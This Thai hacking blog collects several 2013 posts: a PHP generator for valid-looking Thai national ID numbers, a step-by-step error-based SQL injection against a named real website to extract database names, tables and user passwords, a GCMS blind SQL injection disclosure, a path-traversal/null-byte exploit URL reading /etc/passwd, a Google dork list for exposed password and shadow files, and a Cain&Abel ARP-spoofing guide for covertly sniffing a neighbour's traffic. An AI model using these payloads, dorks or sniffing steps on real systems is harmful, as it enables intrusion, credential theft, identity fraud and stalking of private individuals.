วันจันทร์ที่ 30 กันยายน พ.ศ. 2556

สุ่มเลขบัตรประชาชน



PHP Script สุ่ม รหัส 13 หลัก อย่างง่าย

<?php
    $id = array();
    $tmp_digit = array();
    $last_digit = 0;
   
    for($i = 0,$operand = 13;$i < 12; $i++,$operand--){
        if($i==0){
            $tmp_digit[$i] = $id[$i] = rand(1,9);
        }else{
            $tmp_digit[$i] = $id[$i] = rand(0,9);
        }
        $tmp_digit[$i] = $tmp_digit[$i] * $operand;
        $last_digit += $tmp_digit[$i];
    }
    $last_digit = $last_digit%11;
    $last_digit = 11-$last_digit;
    $last_digit = $last_digit%10;
    $id[12] = $last_digit;
   
    echo '<pre>';
        print_r($id);
    echo '</pre>';
?>


หลักการมันเป็นแบบนี้

หลักที่ 1
เลข 1 นั้นหมายถึงว่าที่ได้เป็นคนไทยที่ได้เกิดในประเทศไทยและได้มีสัญชาติไทย ซึ่งได้เกิดหลังจากวันที่ 1 มกราคม พ.ศ.2527 โดยที่ได้ไปแจ้งตามกำหนดเวลาที่ทางการได้กำหนดไว้ให้
เลข 2 ก็คือคนไทยที่ได้เกิดในประเทศไทยและมีสัญชาติของไทยแต่ว่าได้ไปแจ้งเกิดช้ากว่าที่ทางการกำหนดเอาไว้
เลข 3 คือคนไทยหรือว่าเป็นคนต่างด้าวก็ได้ที่มีชื่ออยู่ในทะเบียนบ้านตั้งแต่ก่อนวันที่ 31 พฤษภาคม พ.ศ. 2527
เลข 4 คือคนไทยหรือว่าคนต่างด้าวก็ได้ ที่มีมีเอกสารใบสำคัญคนต่างด้าวแต่ว่าแจ้งย้ายเข้า โดยที่ไม่ได้มีเลขบัตรประจำตัวประชาชน
เลข 5 คือคนที่ได้รับการเพิ่มเข้าไปเพราะว่าตกสำรวจ
เลข 6 คือคนที่เข้าเมืองแบบผิดกฏหมายแต่ไม่ได้อยู่ถาวร
เลข 7 นั้นก็คือลูกของบุคคลที่ได้เลข 6
เลข 8 นั้นก็คือคนต่างด้าวที่ได้เข้าเมืองแบบถูกกฏหมาย และได้รับสัญชาติไทย
หลักที่ 2ถึงที่ 3 นั้นก็คือนรหัสไปรศนีย์ของที่จดทะเบียนโดยสามารถดูได้เช่นใครที่ได้เลข 56 นั้นก็หมายถึงว่าได้ไปจดทะเบียนที่จังหวัดพะเยานั้นเอง
หลักที่ 4 - 5 นั้นก็หมายความว่าเป็นอำเภอว่าไปจดอะไรที่ไหน
หลักที่ 6 - 10 นั้นก็คือเลขประจำตัวในทะเบียนบ้าน
หลักที่ 11 - 12 เป็นการจัดลำดับว่าเป็นคนที่เท่าไรในบุคคลประเภทนั้นๆ
หลักที่ 13 นั้นก็คือเลขตรวจว่าเลขบัตรประจำตัวประชาชนนั้นถูกหรือเปล่า

วันศุกร์ที่ 20 กันยายน พ.ศ. 2556

การ Hack ด้วย SQL Injection


  ในบทความนี้แล้วมาพูดถึง การ hack แบบ SQL Injection ซึ่งเป็นการ Hack ที่เหล่า Hacker นิยมใช้กัน มากที่สุดซึ่งเป็น เทคนิคที่เป็นพื้นฐาน สามารถเอาไปต่อยอด ในการโจมตี Expiont ได้
  ก่อนจะ Hack นะก็จะพูดถึงเทคนิคนี้กันก่อนว่าทำไม มันถึง Hack ได้ และ Hack ไม่ได้ วิธี SQL Injection พื้นฐาน จะทำการโจมตี ผ่าน Dork และคำสั่ง MySQL เพื่อค้นหา ตาราง - แถว ชื่อ ข้อมูลต่างๆ รวมไปถึง Urse - Password

  เรามาเริ่มขั้นตอนการ Hack ด้วย SQL Injection กันดีกว่า

ขั้นตอนแรก หาเวอร์ชั่น

ให้ใช้คำสั่งนี้:
Code:
www.moreanartscenter.org/content.php?id=90 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

คุณก็จะได้เวอร์ชั่นของฐานข้อมูลออกมา:

Code:
MySQL SELECT error: Duplicate entry '~'5.0.45'~1' for key 1
5.0.45 คือเวอร์ชั่นของฐานข้อมูลนี้.

ขั้นตอนที่สอง หาชื่อฐานข้อมูล (Database)

Code:
http://www.moreanartscenter.org/content.php?id=90 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
ถ้าคุณคิดว่าเว็ปไซต์นี้มีฐานข้อมูลมากกว่า 1 ชื่อ ให้ใช้การเพิ่ม limit เอานะครับ เช่นเปลี่ยนจาก limit 0,1 เป็น limit 1,1 ถ้าเปลี่ยนไปเรื่อยๆแล้วจนไม่มีอะไรเปลี่ยนแปลงแสดงว่าเว็ปนั้นมีฐานข้อมูลแค่นั้น.

ฐานข้อมูลของเว็ปนี้:
Code:
MySQL SELECT error: Duplicate entry 'moreanartscenter_db~1' for key 1

ขั้นตอนที่สาม หาชื่อ Table
Code:
http://www.moreanartscenter.org/content.php?id=90 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+
เช่นเดียวกัน ถ้าต้องการจะหาชื่อ Table ชื่อต่อๆไป ให้ใช้การเพิ่มค่า Limit ไปเรื่อยๆ เช่น 0,1 1,1 2,1 3,1 ถ้าเพิ่มไปเรื่อยๆ จนเว็ปไซต์เปลี่ยนกลับเป็นหน้าเว็ปปกติแปลว่าเว็ปไซต์นี้มี Tables แค่นั้น.

ขั้นตอนที่สี่ หาคอลัมน์
Code:
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x(ชื่อ Table เป็นภาษา Hex) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+
เปลี่ยนตรงคำว่า (ชื่อ Table เป็นภาษา Hex) เป็นชื่อ Table ของคุณที่เป็นภาษา Hex ไม่ต้องมีวงเล็บนะครับ.

ขั้นตอนที่ห้า หายูสเซ่อและพาสในคอลัมน์

เช่นเดียวกัน คือใช้การเพิ่มค่า Limit เพื่อหาข้อมูลในคอลัมน์ต่างๆ.
Code:
and (select 1 from (select count(*),concat((select(select concat(cast(concat(ชื่อคอลัมน์,0x7e,ชื่อคอลัมน์) as char),0x7e)) from (ชื่อ Database).(ชื่อ Table) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+
เปลี่ยน ชื่อคอลัมน์ เป็นชื่อคอลัมน์ของคุณ, เปลี่ยน (ชื่อ Database) เป็นชื่อ Database ของคุณไม่ต้องใส่วงเล็บ ในกรณีนี้ชื่อ Database คือ moreanartscenter_db ตามที่เห็นในขั้นตอนที่หนึ่ง, เปลี่ยน (ชื่อ Table) เป็นชื่อ Table ของคุณ.

บทความโดย - BaNNeD_IKiss-Hack

วันอังคารที่ 17 กันยายน พ.ศ. 2556

ช่องโหว่ Blind SQL Injection ใน GCMS


ช่องโหว่นี้คือช่องโหว่ Injection ที่มาเป็นอันดับ 1 ใน Top 10 ของ OWASP 2013 นั่นคือ Blind SQL Injection ครับพบในไฟล์ print.php บรรทัดที่  6-11


5
6
7
8
9
10
11
// โมดูลที่ต้องการ
$module = $_GET['module'];
 // ตรวจสอบโมดูลที่เรียก
$sql = "SELECT `id`,`module`,`owner`,`config`";
$sql .= " FROM `".DB_MODULES."` AS M";
$sql .= " WHERE `module`='$module'";
$sql .= " LIMIT 1";
          ซึ่งมีการรับค่า $_GET['module']; มาจาก User มารวมกับคำสั่ง SQL ในตัวแปร $sql จึงสามารถเกิดช่องโหว่ที่ดูข้อมูลส่วนอื่นของฐานข้อมูลได้ ซึ่งการ Query เกิดจากบรรทัดที่ 14 ครับ

14
$modules = $db->customQuery($sql);
          ตามไปดูฟังก์ชั่น customQuery ในคลาส class.mysql.php ที่อยู่ใน /bin กันครับ

308
309
310
311
312
313
314
315
316
317
318
319
320
321
public function customQuery($sql) {
 $recArr = array();
 $query = @mysql_query($sql, $this->dbconnection);
 if ($query == false) {
  $this->debug("customQuery($sql)");
 } else {
  $_SESSION[$this->time]++;
  while ($row = mysql_fetch_array($query, MYSQL_ASSOC)) {
   $recArr[] = $row;
  }
  mysql_free_result($query);
 }
 return $recArr;
}
          การโจมตีจะเกิดขึ้นก็ต่อเมื่อมีการ Request คำสั่งที่มี  Malicious SQL Code ไปที่ URL นี้ครับ

1
http://localhost/gcms/print.php?action=print&id=[id]&module=[BSQLI]
          สังเกตบรรทัดที่ 310 จะมีการ Query คำสั่งในตัวแปร $sql ด้วยฟังก์ชั่น mysql_query ครับและมีการ return ค่าผลลัพธ์จากการ Query ที่บรรทัด 315 ด้วยฟังก์ชั่น mysql_fetch_array ครับ
          ผมได้รายงานไปทางผู้พัฒนา gcms แล้วได้รับคำขอบคุณกลับมาและผู้พัฒนาได้ทำการประกาศ patch แล้วครับตามลิงค์นี้ แจ้งข้อผิดพลาด สำหรับ GCMS
          ซึ่งได้รับการป้องกัน Blind SQL Injection ด้วยการใช้ Regular Expression ในการกรอง Input ครับ

18
19
20
21
22
23
24
25
26
27
28
if (preg_match('/^[a-z]+$/', $module)) {
  // ตรวจสอบโมดูลที่เรียก
 $sql = "SELECT `id`,`module`,`owner`,`config`";
 $sql .= " FROM `".DB_MODULES."` AS M";
 $sql .= " WHERE `module`='$module'";
 $sql .= " LIMIT 1";
 $modules = $cache->get($sql);
 if (!$modules) {
  $modules = $db->customQuery($sql);
  $cache->save($sql, $modules);
 }
         *ล่าสุดเจอช่องโหว่เดียวกันในไฟล์ feed.php ตั้งแต่บรรทัดที่ 7 เป็นต้นไป (21:58 น.)

7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$module = $_REQUEST['module'];
 // จำนวนที่ต้องการ ถ้าไม่กำหนด คืนค่า 10 รายการ
 $count = (int)$_GET['rows'] * (int)$_GET['cols'];
 $count = $count == 0 ? (int)$_GET['count'] : $count;
 $count = $count <= 0 ? 10 : $count;
 // วันที่วันนี้
 $cdate = date("D, d M Y H:i:s +0700", $mmktime);
 $today = date('Y-m-d', $mmktime);
 // ตรวจสอบโมดูลที่เรียก
 $sql = "SELECT M.`id`,M.`module`,M.`owner`,D.`topic`,D.`description`,M.`config`";
 $sql .= " FROM `".DB_INDEX."` AS I";
 $sql .= " INNER JOIN `".DB_MODULES."` AS M ON M.`id`=I.`module_id` AND M.`module`='$module'";
 $sql .= " INNER JOIN `".DB_INDEX_DETAIL."` AS D ON D.`id`=I.`id` AND D.`module_id`=I.`module_id` AND D.`language` IN ('".LANGUAGE."','')";
 $sql .= " WHERE I.`module_id`=M.`id` AND I.`index`='1' AND I.`language` IN ('".LANGUAGE."','')";
 $sql .= " AND I.`published`='1' AND I.`published_date`<='$today'";
 $sql .= " LIMIT 1";
 $modules = $db->customQuery($sql);
       
สำหรับผู้ที่ใช้ GCMS อย่าลืม Patch ด้วยนะครับ ^^,, ICheer_No0M

วันจันทร์ที่ 9 กันยายน พ.ศ. 2556

ช่องโหว่ Local File Inclusion in ATOMYMAXSITE 2.5



          สวัสดีครับเข้าเรื่องเลยดีกว่า.. เนื่องจากที่ผ่านมาว่างมาก เลยนั่งอ่านโค้ดของ maxsite 2.5 แล้วไปเจอโค้ดในไฟล์ index.php ในการเรียก template ที่โค้ด
// Calling TEMPLATE
require_once( 'templates/'.WEB_TEMPLATES.'/index.php' );
       
        เมื่อตามไปดูที่ไฟล์ index.php ของ template สมมุติว่าเป็น default template แล้วกันครับที่ path นี้ /templates/atomy/index.php จะเห็นว่ามีการใช้ฟังก์ชั่น require_once ซึ่งเป็นฟังก์ชั่นแนวเดียวกับ include อยู่ที่บรรทัดที่ 327
<?} else {
OpenTable();
require_once ("".$MODPATHFILE."");
 CloseTable();
} ?>
          เมื่อมีการเรียกใช้ $MODPATHFILE เรามาหาที่มาของตัวแปรนี้ แล้วก็มาเจอที่ไฟล์ /mainfile.php ที่ document root ครับซึ่งถูกเรียกใช้โดย index.php อยู่ในฟังก์ชัน GETMODULE ครับ มาดูฟังก์ชั่น GETMODULE ในไฟล์ mainfile.php กันครับ
function GETMODULE($name,$file){
    global $MODPATH, $MODPATHFILE ;
    if(!$name){$name= "index";}
    if(!$file){$file = "index";}
    $modpathfile="modules/".$name."/".$file.".php";
    if(file_exists($modpathfile)){
 $MODPATHFILE = $modpathfile;
 $MODPATH = "modules/".$name."/";
    }else{
 die (""._NO_MOD."");
    }
}
          มาดูโค้ดที่เรียกใช้ฟังก์ชั่น GETMODULE ในไฟล์ index.php กันครับ
GETMODULE($name,$file);
          ซึ่งค่าที่ส่งเข้าฟังก์ชั่น GETMODULE มีการรับมาจาก User ทาง GET Method จะทำให้เข้าเงื่อนไขคือ ตัวแปร $name จะเท่ากับค่าว่างถ้าไม่มีการ GET มาที่ parameter name ซึ่งตัวแปร $file ก็เช่นกันครับ
empty($_GET['name'])?$name="":$name=$_GET['name'];
empty($_GET['file'])?$file="":$file=$_GET['file'];
          เมื่อเข้าไปในฟังก์ชั่น GETMODULE จากบรรทัดที่ 28-29 จะเห็นว่าถ้าตัวแปร $name และ $file ไม่มีค่าจะเท่ากับ index ทั้งคู่แล้วมาอยู่ในตัวแปร $modpathfile โดยมี .php ปิดท้ายครับแต่เมื่อมีการ GET มาที่ parameter name จะกลายเป็นเข้าไปในโฟลเดอร์ของแต่ละ module แล้วระบุไฟล์ที่จะใช้งานโดยการ GET มาที่ parameter file ครับตัวอย่าง
http://localhost/maxsite/index.php?name=knowledge&file=readknowledge&id=2
          จะหมายความว่าเข้าไปที่โฟลเดอร์ knowledge ในโฟลเดอร์ modules ส่งค่า id=2 ไปที่ไฟล์ readknowledge.php ครับ (สังเกตุจากฟังก์ชั่น GETMODULE บรรทัดที่ 30)


          เมื่อได้ข้อสรุปมาแบบนี้แสดงว่า parameter name นั้นก็คือใส่ path เราก็ใช้เทคนิคย้อน path ไปโดย ../../../.. ไปเรื่อยๆ ส่วน parameter file ก็ใส่ไฟล์ที่เราต้องการจะ include ยกตัวอย่าง etc/passwd แต่ในกรณีนี้มีการระบุนามสกุลของไฟล์ชัดเจนว่าเป็น .php สังเกตจากฟังก์ชั่น GETMODULE บรรทัดที่ 30
$modpathfile="modules/".$name."/".$file.".php";
 if(file_exists($modpathfile)){
 $MODPATHFILE = $modpathfile;
       
          เมื่อเข้าเงื่อนไข if หมายความว่าถ้าไฟล์ที่จะ require_once นั้นมีจริงให้ตัวแปร $MODPATHFILE เท่ากับตัวแปร $modpathfile ดังกล่าว ถึงตอนนี้ก็ต้องใช้เทคนิค Null Byte ในการ Bypass ตัด .php ด้านหลังออกไปก็จะได้เป็น etc/passwd แต่เทคนิค Null Byte นี้จะต้องใช้กับ Linux Web Server และ PHP < 5.3.4 เท่านั้นครับสำหรับ URL ที่จะใช้ดึง etc/passwd ของ Web Server มาดูก็คือ
http://localhost/maxsite/index.php?name=../../../../..&file=etc/passwd
          ผลลัพธ์ที่ได้...


เรียบร้อยครับ,, 

Cr: ICheer_No0M

วันพุธที่ 4 กันยายน พ.ศ. 2556

ใช้ Google ในการ Hack


ในการ Hack นั้นเราต้องพึ่ง อาจารย์ใหญ่อย่าง Google ในการหาช่องโหว่ หรือ อะไรต่างๆ
บทความนี้ผมจะไม่พูดอะไรมาก ใครที่เรียนกับผม หรือ มีความรู้นิดหน่อย พอดูปุ๊บก็รู้ปั๊บว่ามันคืออะไร Dork นั้นเอง จะใช้ยังไงนั้นก็ เชิญตามสบายครับ

SEARCH PATHS :
“Index of /admin”
“Index of /password”
“Index of /mail”
“Index of /” +passwd
“Index of /” +password.txt
“Index of /” +.htaccess
index of ftp +.mdb allinurl:/cgi-bin/ +mailto
administrators.pwd.index
authors.pwd.index
service.pwd.index
filetype:config web
gobal.asax index
allintitle: “index of/admin”
allintitle: “index of/root”
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
inurl: passwd filetype:txt
inurl: admin filetype:db
inurl: iisadmin
inurl: “auth_user_file.txt”
inurl: “wwwroot/*.”
top secret site:mil
confidential site:mil
allinurl: winnt/system32/ (get cmd.exe)
allinurl:/bash_history
intitle:”Index of” .sh_history
intitle:”Index of” .bash_history
intitle:”index of” passwd
intitle:”index of” people.lst
intitle:”index of” pwd.db
intitle:”index of” etc/shadow
intitle:”index of” spwd
intitle:”index of” master.passwd
intitle:”index of” htpasswd
intitle:”index of” members OR accounts
intitle:”index of” user_carts OR user_cart
ALTERNATIVE INPUTS
====================
_vti_inf.html
service.pwd
users.pwd
authors.pwd
administrators.pwd
shtml.dll
shtml.exe
fpcount.exe
default.asp
showcode.asp
sendmail.cfm
getFile.cfm
imagemap.exe
test.bat
msadcs.dll
htimage.exe
counter.exe
browser.inc
hello.bat
default.aspdvwssr.dll
cart32.exe
add.exe
index.jsp
SessionServlet
shtml.dll
index.cfm
page.cfm
shtml.exe
web_store.cgi
shop.cgi
upload.asp
default.asp
pbserver.dll
phf
test-cgi
finger
Count.cgi
jj
php.cgi
php
nph-test-cgi
handler
webdist.cgi
webgais
websendmail
faxsurvey
htmlscript
perl.exe
wwwboard.pl
www-sql
view-source
campas
aglimpse
glimpse
man.sh
AT-admin.cgi
AT-generate.cgi
filemail.pl
maillist.pl
info2www
files.pl
bnbform.cgi
survey.cgi
classifieds.cgi
wrap
cgiwrap
edit.pl
perl
names.nsf
webgais
dumpenv.pl
test.cgi
submit.cgi
guestbook.cgi
guestbook.pl
cachemgr.cgi
responder.cgi
perlshop.cgi
query
w3-msql
plusmail
htsearch
infosrch.cgi
publisher
ultraboard.cgi
db.cgi
formmail.cgi
allmanage.pl
ssi
adpassword.txt
redirect.cgi
cvsweb.cgi
login.jsp
dbconnect.inc
admin
htgrep
wais.pl
amadmin.pl
subscribe.pl
news.cgi
auctionweaver.pl
.htpasswd
acid_main.php
access.log
log.htm
log.html
log.txt
logfile
logfile.htm
logfile.html
logfile.txt
logger.html
stat.htm
stats.htm
stats.html
stats.txt
webaccess.htm
wwwstats.html
source.asp
perl
mailto.cgi
YaBB.pl
mailform.pl
cached_feed.cgi
global.cgi
Search.pl
build.cgi
common.php
show
global.inc
ad.cgi
WSFTP.LOG
index.html~
index.php~
index.html.bak
index.php.bak
print.cgi
register.cgi
webdriver
bbs_forum.cgi
mysql.class
sendmail.inc
CrazyWWWBoard.cgi
search.pl
way-board.cgi
webpage.cgi
pwd.dat
adcycle
post-query
help.cgi

วันจันทร์ที่ 2 กันยายน พ.ศ. 2556

Sniffer สืบข้อมูล ในวงLaN



   ที่มาของบทความนี้ คือ มีสมาชิกท่านหนึ่งของเรา ได้ถูก hacker มือดี สืบข้อมูลของเขา ทั้ง รหัส อะไรต่างๆ เรื่องส่วนตัว แม้กระทั้งสิ่งที่เราเข้าไป ดูในอินเตอร์เน็ต โดยที่สมาชิกท่านนั้นบอกกับทางเราว่า เขาถูกดักข้อมูลไปอ่าน (ที่จริง ว่าจะทำบทความนี้นานละ แต่ ไม่ค่อยว่าง)

  พูดก่อนว่า Packet Sniffer นั้นคือ การดักจับข้อมูล Packet ที่วิ่งอยู่มนเครือข่ายคอมพิวเตอร์ ส่วนโปรแกรมที่ใช้ดักในบทความนี้ ผมจะยกตัวอย่างโปรแกรม Cain  แต่ว่าผมจะไม่เขียนบทความนี้ ในด้านการ Hack แต่จะเขียนขึ้นเพื่อ จีบสาว โดยเฉพาะ

 ผมซึ่งอยู่ที่หอพักรวม ซึ่งห้องข้างๆมีสาวโสด ที่ผมหมายตาไว้ แต่ว่า การที่จะจีบใครนั้นเราต้องมีข้อมูลของ เป้าหมายก่อนว่าชอบอะไร เกิดวันที่เท่าไร แล้วเธอชอบดูอะไร ชอบฟังเพลงแนวใหน เมื่อผมต้องการจะรู้จึงได้ลงทุน โหลด โปรแกรม Cain มาลงไว้ที่เครื่อง

ขั้นแรกเลยต้องหาโปรแกรม Cain มาลงก่อน
โหลดได้ที่ข้างล่าง ใครโหลดไม่เป็นก็ตกม้าตาย ตรงนี้ละ
Download Cain&Abel

ขั้นตอนการทำงานของมัน ก็ศึกษาจากภาพด้านล่าง


  เมื่อติดตั้งโปรแกรม Cain เสร็จแล้วเลือกที่แถบ Sniffer และกดที่ปุ่ม Start/Sniffer ตามรูปเลย

  
    และกดที่เครื่องหมาย + (add to list) และกด ok เพื่อทำการ Scan Mac Address ภายใน Network เสร็จแล้วจะได้ IP , MAC address ,OUI fingerprint
    ขั้นตอนต่อไปผมสแกนแล้ว เจอIP ของสาวข้างห้องที่กำลังใช้งาน 3BB Wifi ด้วย Apple Mobile อยู่


   ขั้นต่อไป ไปที่แถบ >ARP และกดเครื่องหมาย + (Add To list) อีกครั้งเสร็จแล้วเลือก Ip address (ip เครื่องเรา) > Target Address (เป้าหมาย) 
   สามารถเช็ค iP ตัวเองได้ที่ Start>Run>พิม CMD กด OK > พิมพ์ ipconfig กด ok)
   เสร็จแล้วกด Start ARP (ปุ่มเหลืองข้างๆ Start Sniffer)

   ผ่านไป 10 นาที มีการตอบสนองจากอุปกรณ์ Apple Mobile (ip 192.168.1.4)
   มีการรับส่งข้อมูลกับ ip 331.13.79.1 (ลองเข้าแล้ว Redirect ไปที่ www.facebook.com)
   ในขั้นตอนนี้สาวข้างห้องเข้าใช้งาน Facebook ผ่าน HTTPS
   โปรแกรม Cain จึง Sniffer ได้มาแค่เพียง IP เท่านั้น

  ยังไม่ได้อะไรที่พอจะทำประโยชน์ได้จึงทำการ Sniffer ต่อไป จนเวลาผ่านไป 20 นาที คาดว่า สาวคนนั้น เบื่อที่จะเล่น Facebook และหันมาอย่างอื่นแทน นั้นคือ Youtube



บทความโดย AK-1